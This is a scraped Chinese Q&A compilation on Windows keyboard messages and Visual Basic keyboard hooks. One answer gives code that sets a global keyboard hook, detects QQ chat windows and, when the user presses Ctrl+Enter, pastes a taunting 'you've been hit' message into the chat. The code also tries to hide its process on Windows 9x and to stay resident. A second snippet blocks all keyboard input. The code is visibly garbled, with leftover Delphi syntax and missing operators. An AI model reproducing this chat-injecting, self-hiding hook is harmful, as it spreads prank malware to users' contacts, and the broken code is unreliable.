本文目录一览：
- 1、回车键的虚拟件VK_ENTER属于WM_CHAR还是WM_KEYDOWN。还有怎么区分WM_CHAR和WM_KEYDOWN
- 2、VB拦截message消息
- 3、vb 完全拦截键盘鼠标消息
- 4、vk前天晚上突然不能用了，，请问谁有VK管理员的联系方式啊？
回车键的虚拟件VK_ENTER属于WM_CHAR还是WM_KEYDOWN。还有怎么区分WM_CHAR和WM_KEYDOWN
VK_ENTER虚拟键码，不是消息
它对应的是键盘上的按键。
WM_CHAR WM_KEYDOWN 的wParam都是虚拟键码 VK_XXX
WM_KEYDOWN是原生消息，消息虽然多，但原生触发消息很少，就是键、鼠、时钟，其他的网络、中断等事件没有被定义为消息，由系统拦截，再生成一些消息发送给程序来处理的。
（WM_KEYDOWN,WM_KEYUP,WM_MOUSEMOVE,WM_LBUTTONDWON,WM_LBUTTONUP,WM_Mxxx
WM_R...,WM_MOUSEWHEEL),这些都是原生消息
WM_CHAR,WM_PAINT,WM_NCXXX,WM_LBUTTONDBCLK...这些都是衍生消息，是由基础消息预处理后转换而来的，像线程和窗口类中的 PretranslateMessage就是干这个事儿的。
当然像WM_CHAR这些衍生消息，并不是在MFC 的类库中预处理得到的，windows系统的几个核心DLL里面实现的，所以sdk编程的时候一样可以拦截到衍生消息。
而，像某些窗口（LISTBOX,COMBOBOX等），又定义了窗口类自己的消息，来执行一些操作，像LBM_XXX,CBM_XXX,EM_XXX等，这些就纯粹是事务消息了——也就是一个函数调用。
VB拦截message消息
在Windows使用SetWindowsHookEx来实现hook（钩子）。钩子分类很多，其中消息钩子可以获取对象所接受大部分Message消息。不管是消息钩子或键盘钩子或其他钩子，安装钩子的SetWindowsHookEx函数需要一个回调函数指针。Windows收到某个消息以后确认并且发送应用程序前通知我们的回调函数。
钩子有两种
1）全局钩子，也就是说我们的程序可以拦截所有外部程序收的的消息。
2）非全局钩子，拦截当前进程所收到的消息。
为了实现全局钩子，回调函数必须在DLL中。好像用VB不能编写真正的动态链接库。
以下是简单代码：'Option Explicit
'uses
' Windows, Messages, SysUtils, TlHelp32;
'Delphi 中一些头引用，相当于C++的 *.h
'键盘HOOK类型
Private Type tagKBDLLHOOKSTRUCT
vkCode As Long
scanCode As Long
flags As Long
time As Long
dwExtraInfo As Long
End Type'定义API函数指针,VB不支持该定义
'RegSerProc=Function(dwProcessID,dwType:Integer):Integer;stdcall;Const WH_KEYBOARD_LL = 13
Const WH_MOUSE_LL = 14
'钩子消息及指针
Private lpMsg As TagMsg
Private lpHook As Long
'动态调用DLL函数指针
Private hDll As Long
'VB不支持该定义
'RegPointer:POINTER;
'RegServiceProc:RegSerProc;
'版本
Private OsInfo As OSVERSIONINFO
'QQ窗口的一些句柄
Private buf_hWnd As Long '前台窗口句柄
Private CheckBuf_hWnd As Long '判断是否还是前台窗口句柄
Private RichChat_hWnd As Long 'RichEdit20A句柄
Private CheckPaste As Long '判断是否在进行粘贴
'定时执行程序
Sub TimerWork()
MessageBox 0, "一个消息", "哈哈", 64
End Sub'粘贴代码
Sub PasteMsg()
Dim hMem As Long
Dim pStr() As Byte
Dim S As String
S = vbCrLf + vbCrLf + "恭喜你，你已经中招了！哈哈"
hMem = GlobalAlloc(GHND Or GMEM_SHARE, (LenB(S) * 2) + 4)
pStr = GlobalLock(hMem)
lstrcpy pStr(0), S
GlobalUnLock hMem
OpenClipboard 0
EmptyClipboard
SetClipboardData CF_TEXT, hMem
CloseClipboard
GlobalFree hMem
'发送WM_PASTE对QQ2006 and 2007 已经不起作用
'PostMessage(lphWnd,WM_PASTE,0,0);
CheckPaste = True
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), 0, 0
keybd_event Ord("V"), MapVirtualKey(Ord("V"), 0), KEYEVENTF_KEYUP, 0
keybd_event VK_CONTROL, MapVirtualKey(VK_CONTROL, 0), KEYEVENTF_KEYUP, 0
CheckPaste = False
End Sub
'Enum窗口
Function EnumProc(ByVal hWnd As Long, ByVal lParam As Long) As Boolean
Dim RichName As String, ParentName As String 'RichEdit20A,AfxWnd42类名
Dim RichBuf As String * 255, ParentBuf As String * 255
Dim ParenthWnd As Long
'获取父窗口，通过AfxWnd42进行窗口查找
ParenthWnd = GetParent(hWnd)
GetClassName hWnd, RichBuf, 256
RichName = Left(RichBuf, InStr(RichBuf, vbNullChar) - 1)
If RichChat_hWnd 0 Then
EnumProc = False
Exit Function
End If
If LCase(RichName) = "richedit20a" Then
'获取父窗口类名
If ParenthWnd 0 Then
GetClassName ParenthWnd, ParentBuf, 256
ParentName = Left(ParentBuf, InStr(ParentBuf, vbNullChar) - 1)
End If
'通过父窗口类名进行比较，判断是否为输入窗口
If LCase(ParentName) = "afxwnd42" Then
PasteMsg
RichChat_hWnd = hWnd
EnumProc = False
Exit Function
End If
End If
'继续查找子窗口
EnumChildWindows hWnd, AddressOf EnumProc, 0
EnumProc = True
End Function'Hook代码
Function HookProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim qqBuf As String * 255
Dim frmBuf As String * 255
Dim frmName As String '窗口名称
Dim clsName As String '获取类名
Dim p As KBDLLHOOKSTRUCT '键盘按键指针类型
If nCode = HC_ACTION Then
If (wParam = WM_KEYDOWN) And (Not CheckPaste) Then begin
'p:=PKBDLLHOOKSTRUCT(lParam);
'此处应该翻译为以下：
CopyMemory p, ByVal lParam, Len(p)
'判断是否Ctrl+V发送
If (p.vkCode = VK_RETURN) And ((GetKeyState(VK_CONTROL) And H8000) 0) Then
'获取当前前台窗口
buf_hWnd = GetForegroundWindow
GetWindowText buf_hWnd, frmBuf, 256
GetClassName buf_hWnd, qqBuf, 256
frmName = Left(frmBuf, InStr(frmBuf, vbNullChar) - 1) '该地方只是一个处理而已
clsName = Left(qqBuf, InStr(qqBuf, vbNullChar) - 1)
'通过判断是否还是当前窗口，如果不是则执行重复操作
If (CheckBuf_hWnd buf_hWnd) Then CheckBuf_hWnd = buf_hWnd
'查找QQ窗口
If (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then
'重新初始化QQ编辑控件句柄
If RichChat_hWnd 0 Then RichChat_hWnd = 0
'遍历子窗口进行查找
EnumChildWindowsmbuf_hWnd , AddressOf EnumProc, 0
End If
'如果是原来窗口，那么直接进行处理操作
ElseIf (InStr(clsName, "#32770") 0) And ((InStr(frmName, "聊天中") 0) Or (InStr(frmName, " 群") 0)) Then
PasteMsg
End If
End If
End If
HookProc = CallNextHookEx(lpHook, nCode, wParam, lParam)
End FunctionPublic Sub Main()
'注册钩子时先判断操作系统版本
OsInfo.dwOSVersionInfoSize = Len(OsInfo)
GetVersionEx OsInfo
If OsInfo.dwPlatformId = VER_PLATFORM_WIN32_NT Then
'如果是NT系统那么向系统注册钩子
lpHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf HookProc, hInstance, 0)
如果向系统注册钩子失败
If lpHook = 0 Then SetTimer 0, 0, 500, AddressOf TimerWork
Else
'向9x注册系统服务
hDll = LoadLibrary("kernel32.dll")
RegPointer = GetProcAddress(hDll, "RegisterServiceProcess")
If RegPointer 0 Then
'VB不支持该指针，所以就不翻译了
'RegServiceProc:=RegSerProc(RegPointer);
'RegServiceProc(GetCurrentProcessID,1);
Else
'如果没有向9x注册成功服务器，以Timer进行操作
SetTimer 0, 0, 500, AddressOf TimerWork
End If
End If
'消息循环，永驻内存
Do While GetMessage(lpMsg, 0, 0, 0)
TranslateMessage lpMsg
DispatchMessage lpMsg
Loop
End Sub
vb 完全拦截键盘鼠标消息
用全局HOOK，首先建立一个工程，然后在窗口上添加2个按钮，再添加一个模块，然后复制下面的代码就OK了
''.bas模块中
Public m_hDllKbdHook As Long ''public variable holding
Public Const WH_KEYBOARD_LL As Long = 13 ''enables monitoring of keyboard
Private Const HC_ACTION As Long = 0 ''wParam and lParam parameters
Public Const VK_CAPITAL As Long = H14
Public Const VK_NUMLOCK As Long = H90
Public Const VK_SCROLL As Long = H91
Private Const LLKHF_UP As Long = H80 ''test the transition-state flag
Public Type KeyboardBytes
kbByte(0 To 255) As Byte
End Type
Private Type KBDLLHOOKSTRUCT
vkCode As Long ''a virtual-key code in the range 1 to 254
scanCode As Long ''hardware scan code for the key
flags As Long ''specifies the extended-key flag,
time As Long ''time stamp for this message
dwExtraInfo As Long ''extra info associated with the message
End Type
Public Declare Function SetWindowsHookEx Lib "user32" Alias "SetWindowsHookExA" (ByVal idHook As Long, ByVal lpfn As Long, ByVal hmod As Long, ByVal dwThreadId As Long) As Long
Public Declare Function UnhookWindowsHookEx Lib "user32" (ByVal hHook As Long) As Long
Public Declare Function CallNextHookEx Lib "user32" (ByVal hHook As Long, ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Public Declare Sub CopyMemory Lib "kernel32" Alias "RtlMoveMemory" (pDest As Any, pSource As Any, ByVal cb As Long)
Public Declare Function GetKeyboardState Lib "user32" (kbArray As KeyboardBytes) As Long
Public Declare Function GetKeyState Lib "user32" (ByVal nVirtKey As Long) As Integer
Public Function LowLevelKeyboardProc(ByVal nCode As Long, ByVal wParam As Long, ByVal lParam As Long) As Long
Dim kbdllhs As KBDLLHOOKSTRUCT
Call CopyMemory(kbdllhs, ByVal lParam, Len(kbdllhs))
LowLevelKeyboardProc = 1 '这里是屏蔽键盘
'LowLevelKeyboardProc = CallNextHookEx(m_hDllKbdHook, nCode, wParam, lParam) '这里是放行
End Function
'窗口代码
Private Sub Command1_Click()
m_hDllKbdHook = SetWindowsHookEx(WH_KEYBOARD_LL, AddressOf LowLevelKeyboardProc, _
App.hInstance, 0)
If m_hDllKbdHook = 0 Then
MsgBox "安装钩子失败."
End If
End Sub
Private Sub Command2_Click()
If m_hDllKbdHook 0 Then
Call UnhookWindowsHookEx(m_hDllKbdHook)
End If
End Sub
Private Sub Form_Load()
Command1.Caption = "安装钩子"
Command2.Caption = "卸载钩子"
End Sub
vk前天晚上突然不能用了，，请问谁有VK管理员的联系方式啊？
因为某些平台有针对性的更新，并且进行了攻击。另外VK无法使用是为了防止你有可能被检测到，为了你的帐号安全，VK网站暂时性的关闭服务，一般不要太久会重新开放。